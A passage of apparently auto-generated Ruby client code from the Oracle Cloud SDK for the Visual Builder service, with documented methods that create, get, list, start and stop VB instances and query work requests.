header_params[:'opc-retry-token'] = opts[:opc_retry_token] if opts[:opc_retry_token]
# rubocop:enable Style/NegatedIf
header_params[:'opc-retry-token'] ||= OCI::Retry.generate_opc_retry_token
post_body = @api_client.object_to_http_body(change_vb_instance_compartment_details)
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#change_vb_instance_compartment') do
@api_client.call_api(
:POST,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Creates a new Vb Instance.
#
# @param [OCI::VisualBuilder::Models::CreateVbInstanceDetails] create_vb_instance_details Details for the new Vb Instance.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :opc_retry_token A token that uniquely identifies a request so it can be retried in case
# of a timeout or server error without risk of executing that same action
# again. Retry tokens expire after 24 hours, but can be invalidated before
# then due to conflicting operations. For example, if a resource has been
# deleted and purged from the system, then a retry of the original creation
# request might be rejected.
#
# @option opts [String] :opc_request_id The client request ID for tracing.
# @return [Response] A Response object with data of type nil
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/create_vb_instance.rb.html) to see an example of how to use create_vb_instance API.
def create_vb_instance(create_vb_instance_details, opts = {})
logger.debug 'Calling operation VbInstanceClient#create_vb_instance.' if logger
raise "Missing the required parameter 'create_vb_instance_details' when calling create_vb_instance." if create_vb_instance_details.nil?
path = '/vbInstances'
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'opc-retry-token'] = opts[:opc_retry_token] if opts[:opc_retry_token]
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
# rubocop:enable Style/NegatedIf
header_params[:'opc-retry-token'] ||= OCI::Retry.generate_opc_retry_token
post_body = @api_client.object_to_http_body(create_vb_instance_details)
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#create_vb_instance') do
@api_client.call_api(
:POST,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Deletes an Vb Instance resource by identifier.
# @param [String] vb_instance_id Unique Vb Instance identifier.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :if_match For optimistic concurrency control. In the PUT or DELETE call
# for a resource, set the `if-match` parameter to the value of the
# etag from a previous GET or POST response for that resource.
# The resource will be updated or deleted only if the etag you
# provide matches the resource's current etag value.
#
# @option opts [String] :opc_request_id The client request ID for tracing.
# @return [Response] A Response object with data of type nil
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/delete_vb_instance.rb.html) to see an example of how to use delete_vb_instance API.
def delete_vb_instance(vb_instance_id, opts = {})
logger.debug 'Calling operation VbInstanceClient#delete_vb_instance.' if logger
raise "Missing the required parameter 'vb_instance_id' when calling delete_vb_instance." if vb_instance_id.nil?
raise "Parameter value for 'vb_instance_id' must not be blank" if OCI::Internal::Util.blank_string?(vb_instance_id)
path = '/vbInstances/{vbInstanceId}'.sub('{vbInstanceId}', vb_instance_id.to_s)
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'if-match'] = opts[:if_match] if opts[:if_match]
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
# rubocop:enable Style/NegatedIf
post_body = nil
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#delete_vb_instance') do
@api_client.call_api(
:DELETE,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Gets a VbInstance by identifier
# @param [String] vb_instance_id Unique Vb Instance identifier.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :opc_request_id The client request ID for tracing.
# @return [Response] A Response object with data of type {OCI::VisualBuilder::Models::VbInstance VbInstance}
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/get_vb_instance.rb.html) to see an example of how to use get_vb_instance API.
def get_vb_instance(vb_instance_id, opts = {})
logger.debug 'Calling operation VbInstanceClient#get_vb_instance.' if logger
raise "Missing the required parameter 'vb_instance_id' when calling get_vb_instance." if vb_instance_id.nil?
raise "Parameter value for 'vb_instance_id' must not be blank" if OCI::Internal::Util.blank_string?(vb_instance_id)
path = '/vbInstances/{vbInstanceId}'.sub('{vbInstanceId}', vb_instance_id.to_s)
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
# rubocop:enable Style/NegatedIf
post_body = nil
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#get_vb_instance') do
@api_client.call_api(
:GET,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body,
return_type: 'OCI::VisualBuilder::Models::VbInstance'
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Gets the status of the work request with the given ID.
# @param [String] work_request_id The ID of the asynchronous request.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :opc_request_id The client request ID for tracing.
# @return [Response] A Response object with data of type {OCI::VisualBuilder::Models::WorkRequest WorkRequest}
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/get_work_request.rb.html) to see an example of how to use get_work_request API.
def get_work_request(work_request_id, opts = {})
logger.debug 'Calling operation VbInstanceClient#get_work_request.' if logger
raise "Missing the required parameter 'work_request_id' when calling get_work_request." if work_request_id.nil?
raise "Parameter value for 'work_request_id' must not be blank" if OCI::Internal::Util.blank_string?(work_request_id)
path = '/workRequests/{workRequestId}'.sub('{workRequestId}', work_request_id.to_s)
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
# rubocop:enable Style/NegatedIf
post_body = nil
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#get_work_request') do
@api_client.call_api(
:GET,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body,
return_type: 'OCI::VisualBuilder::Models::WorkRequest'
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Returns a list of Vb Instances.
#
# @param [String] compartment_id The ID of the compartment in which to list resources.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :display_name A user-friendly name. Does not have to be unique, and it's changeable.
#
# Example: `My new resource`
#
# @option opts [String] :lifecycle_state Life cycle state to query on.
# Allowed values are: CREATING, UPDATING, ACTIVE, INACTIVE, DELETING, DELETED, FAILED
# @option opts [Integer] :limit The maximum number of items to return. (default to 10)
# @option opts [String] :page The page token representing the page at which to start retrieving results. This is usually retrieved from a previous list call.
# @option opts [String] :sort_order The sort order to use, either 'asc' or 'desc'. (default to ASC)
# Allowed values are: ASC, DESC
# @option opts [String] :sort_by The field to sort by. Only one sort order may be provided. Default order
# for timeCreated is descending. Default order for displayName is
# ascending. If no value is specified timeCreated is default.
# (default to timeCreated)
# Allowed values are: timeCreated, displayName
# @option opts [String] :opc_request_id The client request ID for tracing.
# @return [Response] A Response object with data of type {OCI::VisualBuilder::Models::VbInstanceSummaryCollection VbInstanceSummaryCollection}
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/list_vb_instances.rb.html) to see an example of how to use list_vb_instances API.
def list_vb_instances(compartment_id, opts = {})
logger.debug 'Calling operation VbInstanceClient#list_vb_instances.' if logger
raise "Missing the required parameter 'compartment_id' when calling list_vb_instances." if compartment_id.nil?
if opts[:lifecycle_state] && !%w[CREATING UPDATING ACTIVE INACTIVE DELETING DELETED FAILED].include?(opts[:lifecycle_state])
raise 'Invalid value for "lifecycle_state", must be one of CREATING, UPDATING, ACTIVE, INACTIVE, DELETING, DELETED, FAILED.'
end
if opts[:sort_order] && !%w[ASC DESC].include?(opts[:sort_order])
raise 'Invalid value for "sort_order", must be one of ASC, DESC.'
end
if opts[:sort_by] && !%w[timeCreated displayName].include?(opts[:sort_by])
raise 'Invalid value for "sort_by", must be one of timeCreated, displayName.'
end
path = '/vbInstances'
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
query_params[:compartmentId] = compartment_id
query_params[:displayName] = opts[:display_name] if opts[:display_name]
query_params[:lifecycleState] = opts[:lifecycle_state] if opts[:lifecycle_state]
query_params[:limit] = opts[:limit] if opts[:limit]
query_params[:page] = opts[:page] if opts[:page]
query_params[:sortOrder] = opts[:sort_order] if opts[:sort_order]
query_params[:sortBy] = opts[:sort_by] if opts[:sort_by]
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
# rubocop:enable Style/NegatedIf
post_body = nil
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#list_vb_instances') do
@api_client.call_api(
:GET,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body,
return_type: 'OCI::VisualBuilder::Models::VbInstanceSummaryCollection'
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Get the errors of a work request.
# @param [String] compartment_id The ID of the compartment in which to list resources.
# @param [String] work_request_id The ID of the asynchronous request.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :opc_request_id The client request ID for tracing.
# @option opts [Integer] :limit The maximum number of items to return. (default to 10)
# @option opts [String] :page The page token representing the page at which to start retrieving results. This is usually retrieved from a previous list call.
# @return [Response] A Response object with data of type {OCI::VisualBuilder::Models::WorkRequestErrorCollection WorkRequestErrorCollection}
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/list_work_request_errors.rb.html) to see an example of how to use list_work_request_errors API.
def list_work_request_errors(compartment_id, work_request_id, opts = {})
logger.debug 'Calling operation VbInstanceClient#list_work_request_errors.' if logger
raise "Missing the required parameter 'compartment_id' when calling list_work_request_errors." if compartment_id.nil?
raise "Missing the required parameter 'work_request_id' when calling list_work_request_errors." if work_request_id.nil?
raise "Parameter value for 'work_request_id' must not be blank" if OCI::Internal::Util.blank_string?(work_request_id)
path = '/workRequests/{workRequestId}/errors'.sub('{workRequestId}', work_request_id.to_s)
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
query_params[:compartmentId] = compartment_id
query_params[:limit] = opts[:limit] if opts[:limit]
query_params[:page] = opts[:page] if opts[:page]
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
# rubocop:enable Style/NegatedIf
post_body = nil
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#list_work_request_errors') do
@api_client.call_api(
:GET,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body,
return_type: 'OCI::VisualBuilder::Models::WorkRequestErrorCollection'
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Get the logs of a work request.
# @param [String] compartment_id The ID of the compartment in which to list resources.
# @param [String] work_request_id The ID of the asynchronous request.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :opc_request_id The client request ID for tracing.
# @option opts [Integer] :limit The maximum number of items to return. (default to 10)
# @option opts [String] :page The page token representing the page at which to start retrieving results. This is usually retrieved from a previous list call.
# @return [Response] A Response object with data of type {OCI::VisualBuilder::Models::WorkRequestLogEntryCollection WorkRequestLogEntryCollection}
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/list_work_request_logs.rb.html) to see an example of how to use list_work_request_logs API.
def list_work_request_logs(compartment_id, work_request_id, opts = {})
logger.debug 'Calling operation VbInstanceClient#list_work_request_logs.' if logger
raise "Missing the required parameter 'compartment_id' when calling list_work_request_logs." if compartment_id.nil?
raise "Missing the required parameter 'work_request_id' when calling list_work_request_logs." if work_request_id.nil?
raise "Parameter value for 'work_request_id' must not be blank" if OCI::Internal::Util.blank_string?(work_request_id)
path = '/workRequests/{workRequestId}/logs'.sub('{workRequestId}', work_request_id.to_s)
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
query_params[:compartmentId] = compartment_id
query_params[:limit] = opts[:limit] if opts[:limit]
query_params[:page] = opts[:page] if opts[:page]
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
# rubocop:enable Style/NegatedIf
post_body = nil
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#list_work_request_logs') do
@api_client.call_api(
:GET,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body,
return_type: 'OCI::VisualBuilder::Models::WorkRequestLogEntryCollection'
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Lists the work requests in a compartment.
#
# @param [String] compartment_id The ID of the compartment in which to list resources.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :opc_request_id The client request ID for tracing.
# @option opts [String] :page The page token representing the page at which to start retrieving results. This is usually retrieved from a previous list call.
# @option opts [Integer] :limit The maximum number of items to return. (default to 10)
# @option opts [String] :vb_instance_id The Vb Instance identifier to use to filter results
# @return [Response] A Response object with data of type {OCI::VisualBuilder::Models::WorkRequestSummaryCollection WorkRequestSummaryCollection}
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/list_work_requests.rb.html) to see an example of how to use list_work_requests API.
def list_work_requests(compartment_id, opts = {})
logger.debug 'Calling operation VbInstanceClient#list_work_requests.' if logger
raise "Missing the required parameter 'compartment_id' when calling list_work_requests." if compartment_id.nil?
path = '/workRequests'
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
query_params[:compartmentId] = compartment_id
query_params[:page] = opts[:page] if opts[:page]
query_params[:limit] = opts[:limit] if opts[:limit]
query_params[:vbInstanceId] = opts[:vb_instance_id] if opts[:vb_instance_id]
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
# rubocop:enable Style/NegatedIf
post_body = nil
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#list_work_requests') do
@api_client.call_api(
:GET,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body,
return_type: 'OCI::VisualBuilder::Models::WorkRequestSummaryCollection'
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Summarizes the applications for a vb instance.
# @param [OCI::VisualBuilder::Models::RequestSummarizedApplicationsDetails] request_summarized_applications_details The parameter holding information to request the summarized applications for a Vb instance
# @param [String] vb_instance_id Unique Vb Instance identifier.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :opc_request_id The client request ID for tracing.
# @option opts [String] :if_match For optimistic concurrency control. In the PUT or DELETE call
# for a resource, set the `if-match` parameter to the value of the
# etag from a previous GET or POST response for that resource.
# The resource will be updated or deleted only if the etag you
# provide matches the resource's current etag value.
#
# @option opts [String] :opc_retry_token A token that uniquely identifies a request so it can be retried in case
# of a timeout or server error without risk of executing that same action
# again. Retry tokens expire after 24 hours, but can be invalidated before
# then due to conflicting operations. For example, if a resource has been
# deleted and purged from the system, then a retry of the original creation
# request might be rejected.
#
# @return [Response] A Response object with data of type {OCI::VisualBuilder::Models::ApplicationSummaryCollection ApplicationSummaryCollection}
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/request_summarized_applications.rb.html) to see an example of how to use request_summarized_applications API.
def request_summarized_applications(request_summarized_applications_details, vb_instance_id, opts = {})
logger.debug 'Calling operation VbInstanceClient#request_summarized_applications.' if logger
raise "Missing the required parameter 'request_summarized_applications_details' when calling request_summarized_applications." if request_summarized_applications_details.nil?
raise "Missing the required parameter 'vb_instance_id' when calling request_summarized_applications." if vb_instance_id.nil?
raise "Parameter value for 'vb_instance_id' must not be blank" if OCI::Internal::Util.blank_string?(vb_instance_id)
path = '/vbInstances/{vbInstanceId}/actions/applications'.sub('{vbInstanceId}', vb_instance_id.to_s)
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
header_params[:'if-match'] = opts[:if_match] if opts[:if_match]
header_params[:'opc-retry-token'] = opts[:opc_retry_token] if opts[:opc_retry_token]
# rubocop:enable Style/NegatedIf
header_params[:'opc-retry-token'] ||= OCI::Retry.generate_opc_retry_token
post_body = @api_client.object_to_http_body(request_summarized_applications_details)
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#request_summarized_applications') do
@api_client.call_api(
:POST,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body,
return_type: 'OCI::VisualBuilder::Models::ApplicationSummaryCollection'
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Start an vb instance that was previously in an INACTIVE state. If the previous state is not
# INACTIVE, then the state of the vbInstance will not be changed and a 409 response returned.
#
# @param [String] vb_instance_id Unique Vb Instance identifier.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :if_match For optimistic concurrency control. In the PUT or DELETE call
# for a resource, set the `if-match` parameter to the value of the
# etag from a previous GET or POST response for that resource.
# The resource will be updated or deleted only if the etag you
# provide matches the resource's current etag value.
#
# @option opts [String] :opc_request_id The client request ID for tracing.
# @option opts [String] :opc_retry_token A token that uniquely identifies a request so it can be retried in case
# of a timeout or server error without risk of executing that same action
# again. Retry tokens expire after 24 hours, but can be invalidated before
# then due to conflicting operations. For example, if a resource has been
# deleted and purged from the system, then a retry of the original creation
# request might be rejected.
#
# @return [Response] A Response object with data of type nil
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/start_vb_instance.rb.html) to see an example of how to use start_vb_instance API.
def start_vb_instance(vb_instance_id, opts = {})
logger.debug 'Calling operation VbInstanceClient#start_vb_instance.' if logger
raise "Missing the required parameter 'vb_instance_id' when calling start_vb_instance." if vb_instance_id.nil?
raise "Parameter value for 'vb_instance_id' must not be blank" if OCI::Internal::Util.blank_string?(vb_instance_id)
path = '/vbInstances/{vbInstanceId}/actions/start'.sub('{vbInstanceId}', vb_instance_id.to_s)
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'if-match'] = opts[:if_match] if opts[:if_match]
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
header_params[:'opc-retry-token'] = opts[:opc_retry_token] if opts[:opc_retry_token]
# rubocop:enable Style/NegatedIf
header_params[:'opc-retry-token'] ||= OCI::Retry.generate_opc_retry_token
post_body = nil
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#start_vb_instance') do
@api_client.call_api(
:POST,
path,
endpoint,
header_params: header_params,
query_params: query_params,
operation_signing_strategy: operation_signing_strategy,
body: post_body
)
end
# rubocop:enable Metrics/BlockLength
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Stop an vb instance that was previously in an ACTIVE state. If the previous state is not
# ACTIVE, then the state of the vbInstance will not be changed and a 409 response returned.
#
# @param [String] vb_instance_id Unique Vb Instance identifier.
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :if_match For optimistic concurrency control. In the PUT or DELETE call
# for a resource, set the `if-match` parameter to the value of the
# etag from a previous GET or POST response for that resource.
# The resource will be updated or deleted only if the etag you
# provide matches the resource's current etag value.
#
# @option opts [String] :opc_request_id The client request ID for tracing.
# @option opts [String] :opc_retry_token A token that uniquely identifies a request so it can be retried in case
# of a timeout or server error without risk of executing that same action
# again. Retry tokens expire after 24 hours, but can be invalidated before
# then due to conflicting operations. For example, if a resource has been
# deleted and purged from the system, then a retry of the original creation
# request might be rejected.
#
# @return [Response] A Response object with data of type nil
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/stop_vb_instance.rb.html) to see an example of how to use stop_vb_instance API.
def stop_vb_instance(vb_instance_id, opts = {})
logger.debug 'Calling operation VbInstanceClient#stop_vb_instance.' if logger
raise "Missing the required parameter 'vb_instance_id' when calling stop_vb_instance." if vb_instance_id.nil?
raise "Parameter value for 'vb_instance_id' must not be blank" if OCI::Internal::Util.blank_string?(vb_instance_id)
path = '/vbInstances/{vbInstanceId}/actions/stop'.sub('{vbInstanceId}', vb_instance_id.to_s)
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'if-match'] = opts[:if_match] if opts[:if_match]
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
header_params[:'opc-retry-token'] = opts[:opc_retry_token] if opts[:opc_retry_token]
# rubocop:enable Style/NegatedIf
header_params[:'opc-retry-token'] ||= OCI::Retry.generate_opc_retry_token
post_body = nil
# rubocop:disable Metrics/BlockLength
OCI::Retry.make_retrying_call(applicable_retry_config(opts), call_name: 'VbInstanceClient#stop_vb_instance') do
@api_client.call_api(
:POST,
path,
